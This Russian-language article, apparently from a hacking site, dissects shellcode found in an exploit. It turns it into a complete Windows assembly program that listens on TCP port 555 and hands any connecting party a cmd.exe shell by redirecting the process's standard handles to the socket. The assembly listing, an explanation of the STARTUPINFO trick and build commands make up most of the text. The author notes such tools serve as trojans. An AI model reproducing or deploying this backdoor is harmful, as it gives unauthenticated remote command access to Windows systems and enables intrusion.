- Это дело обещает много любопытного и необычайного
Шерлок Холмс

 

В этой статье мы рассмотрим один из наиболее перспективных методов написания
крайне маленьких RAT (Remote Administration Tool). По сути своей эти утилиты
сродни оружию, которое используют хакеры - они считаются троянскими конями.
Когда же их используют администраторы - это утилиты удалённого администрирования.
Часто из самых оптимальных по структуре и размеру кода
RAT создаются так называемые шеллкоды (shellcode).
Шеллкод - блок программного кода, на который передаётся
управление при эксплуатации ошибок на переполнение буфера.

Несколько месяцев тому назад мне попался один эксплоит, в котором был
очень маленький шеллкод. Меня заинтересовало устройство данного
шеллкода, так как до этого я не видел таких маленьких удалённых шеллкодов.
Удалённый шеллкод отличается от локального тем, что он слушает определённый
IP порт и когда к этому порту присоединяешься, то порождается консоль.
Локальный же шеллкод порождает консоль локально, в Windows NT системах это
"cmd.exe".

Ну так вот, я решил исследовать данный шеллкод. Вначале шеллкод
расшифровывается - это необходимо из-за требований к нему предъявляемых (обычно
необходимо отсутствие нулевого - "\x00" байта). После этого в шеллкоде для его
универсальности идёт поиск адресов "kernel32.dll" и необходимых подпрограмм.
Далее загружаются нужные для функционирования шеллкода библиотеки, в нашем
случае это библиотека "ws2_32.dll". После всей подготовки начинается основной код. На нём мы и остановимся,
чтобы понять и вникнуть в его функционирование.
Сейчас мы рассмотрим исходный код, который был получен мной в отладчике и
преобразован в RAT.

;---[rat.asm]---;
; ;
;----------------;
; ВОЗМОЖНОСТИ: ;
; ;
; (+) Слушает 555 порт (возможно построение шеллкода) ;
; ;
;----------------;

.386p
.model flat,stdcall

callx macro x ;
extrn x:proc ;
Макрос для упрощения
call x ;
использования WIN API
endm ;

;----------------;

.data

wsadata1 db 400 dup (0) ;
;

sin db 16 dup(0) ;
Данные 
handle_ dd 0 ;
mhandle2 dd 0 ;

;----------------;

.code

start: 

push offset wsadata1 ;
push 0101h ;
Проводим инициализацию
callx WSAStartup ;

mov word ptr[sin],2 ;
push 555 ;
Устанавливаем номер 
callx htons ;
TCP/IP порта
mov word ptr[sin+2],ax ;

push 0 ;
push 0 ;
push 0 ;
push 0 ;
push 1 ;
push 2 ;
Создаём сокет
callx WSASocketA ;

mov ebx,eax ; Сохраняем его хэндл 

push 16 ;
push offset sin ;
push ebx ;
Биндим сокет
callx bind ;

push 0 ;
push ebx ;
callx listen ;
Слушаем сокет

push 0 ;
push ecx ;
push ebx ; 
callx accept ;
Принимаем соединение

mov handle_,eax ; Сохраняем хэндл

push 00000004h ;
push 00001000h ;
push 400 ;
push 0h ;
callx VirtualAlloc ;
Выделяем 400 байт памяти
mov mhandle2,eax ;
И сохраняем хэндл
;----------------;
mov edx,handle_

mov byte ptr[eax+10h],044h ;
inc byte ptr[eax+3dh] ;
Заполняем структуру
mov dword ptr[eax+48h],edx ;
STARTUP_INFO
mov dword ptr[eax+4ch],edx ;
mov dword ptr[eax+50h],edx ;
mov [eax+54h],646d63h ;

mov eax,mhandle2 ; Кладём в eax хэндл

push eax ; ProcessInfo => NULL
add eax,10h ;
push eax ;
StartupInfo (!)
xor ecx,ecx ;
push ecx ;
CurrentDir => NULL
push ecx ;
Environment => NULL
push ecx ;
CreationFlags => 0
push 1 ;
InheritHandles = TRUE (!!)
push ecx ;
ThreadSecurity => NULL
push ecx ;
ProcessSecurity => NULL
add eax,44h ;
push eax ;
CommandLine
push 0 ;
ApplicationName = NULL
callx CreateProcessA ;
Порождаем
"cmd.exe"

push -1 ;
push dword ptr[mhandle2] ;
Ждём до бесконечности
callx WaitForSingleObject ;

;----------------;
push 00004000h ;
push 400 ;
push mhandle2 ;
callx VirtualFree ;
Освобождаем память

push 0 ;
callx ExitProcess ;
Завершаем процесс
;----------------;
end start
;---[rat.asm]---;

В данной программе, после выделения памяти заполняется какая-то структура
STARTUP_INFO. Чтобы разобраться для чего это делается, мы вначале разберём
функцию CreateProcessA и её параметры.

function CreateProcessA
(
lpApplicationName: PChar;
lpCommandLine: PChar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD; 
lpEnvironment: Pointer;
lpCurrentDirectory: PChar; 
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation
): BOOL; stdcall;

Где:

  • LpApplicationName:PChar - название приложения (плюс полный путь к нему);
  • LpCommandLine:PChar - командная строка приложения (все параметры, которые
    передаются приложению через командную строку);
  • LpProcessAttributes, lpThreadAttributes - в нашем случае 0;
  • BInheritHandles:Bool - в нашем случае 1;
  • DwCreationFlags - в нашем случае 0;
  • LpEnvironment:Pointer - указатель на строку, которая содержит переменные окружения, необходимые нашей программе;
  • LpCurrentDirectory:PChar - рабочий каталог нашей программы;
  • LpStartupInfo:TStartupInfo - параметры запуска приложения;
  • LpProcessInformation:TProcessInformation - переменная, в которую помещаются
    все дескрипторы запущенного приложения.

Результат: True - если приложение нормально напустилось, и False - в противном
случае.

Рассмотрим наш вызов данной функции:

;----------------;
.... ....
push eax ;
ProcessInfo => NULL
add eax,10h ;
push eax ;
StartupInfo (!)
xor ecx,ecx ;
push ecx ;
CurrentDir => NULL
push ecx ;
Environment => NULL
push ecx ;
CreationFlags => 0
push 1 ;
InheritHandles = TRUE (!!)
push ecx ;
ThreadSecurity => NULL
push ecx ; ProcessSecurity => NULL
add eax,44h ;
push eax ;
CommandLine
push 0 ;
ApplicationName = NULL
callx CreateProcessA ;
Порождаем
"cmd.exe"

..... .....
;----------------;

Здесь необходимо остановиться на строчке, выделенной восклицательным знаком.
Ага, оказывается что наша структура STARTUP_INFO передаётся параметром функции
CreateProcessA. Теперь я хочу заострить ваше внимание на строчке выделенной
двумя восклицательными знаками. Это параметр InheritHandles и он равен 1.
Это значит, что мы сможем переназначить стандартный ввод и
вывод процесса. Но как это сделать? Рассмотрим формат структуры
STARTUP_INFO. Вот что написано о структуре STARTUP_INFO в MSDN:

typedef struct _STARTUPINFO { // si 
DWORD cb; 
LPTSTR lpReserved; 
LPTSTR lpDesktop; 
LPTSTR lpTitle; 
DWORD dwX; 
DWORD dwY; 
DWORD dwXSize; 
DWORD dwYSize; 
DWORD dwXCountChars; 
DWORD dwYCountChars; 
DWORD dwFillAttribute; 
DWORD dwFlags; 
WORD wShowWindow; 
WORD cbReserved2; 
LPBYTE lpReserved2; 
HANDLE hStdInput; 
HANDLE hStdOutput; 
HANDLE hStdError; 
} STARTUPINFO, *LPSTARTUPINFO; 

Описание структуры STARTUP_INFO и Описание флагов запускаемого процесса

Теперь становится ясно, что при создании процесса программа перенаправляет
свои стандартные потоки ввода и вывода на сокет. Это ей удаётся сделать путём
манипуляций над структурой STARTUP_INFO и установкой флага InheritHandles при
вызове функции CreateProcessA.

И всё таки, как необходимо заполнить структуру STARTUP_INFO?. Структура должна
заполняться стандартно, об этом уже многое написано. Отличия лишь будут
заключаться в заполнении следующих полей:

+ dwFlags - должен быть установлен в STARTF_USESTDHANDLES
+ hStdInput - должен указывать на хэндл полученный от accept
+ hStdOutput - должен указывать на хэндл полученный от accept
+ hStdError - должен указывать на хэндл полученный от accept

Для компиляции данной программы нужно использовать следующий *.bat файл:

@echo off
cls
tasm32 /mx /m4 /zi rat.asm
tlink32 -x -v -V4.0 -Tpe -ap -c rat.obj,,,imp32i.lib ws2_32.lib
del *.obj

В итоге мы получили одну из самых маленьких утилит для удалённого
администрирования. Так же разобралиась в функционировании удалённого шеллкода.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии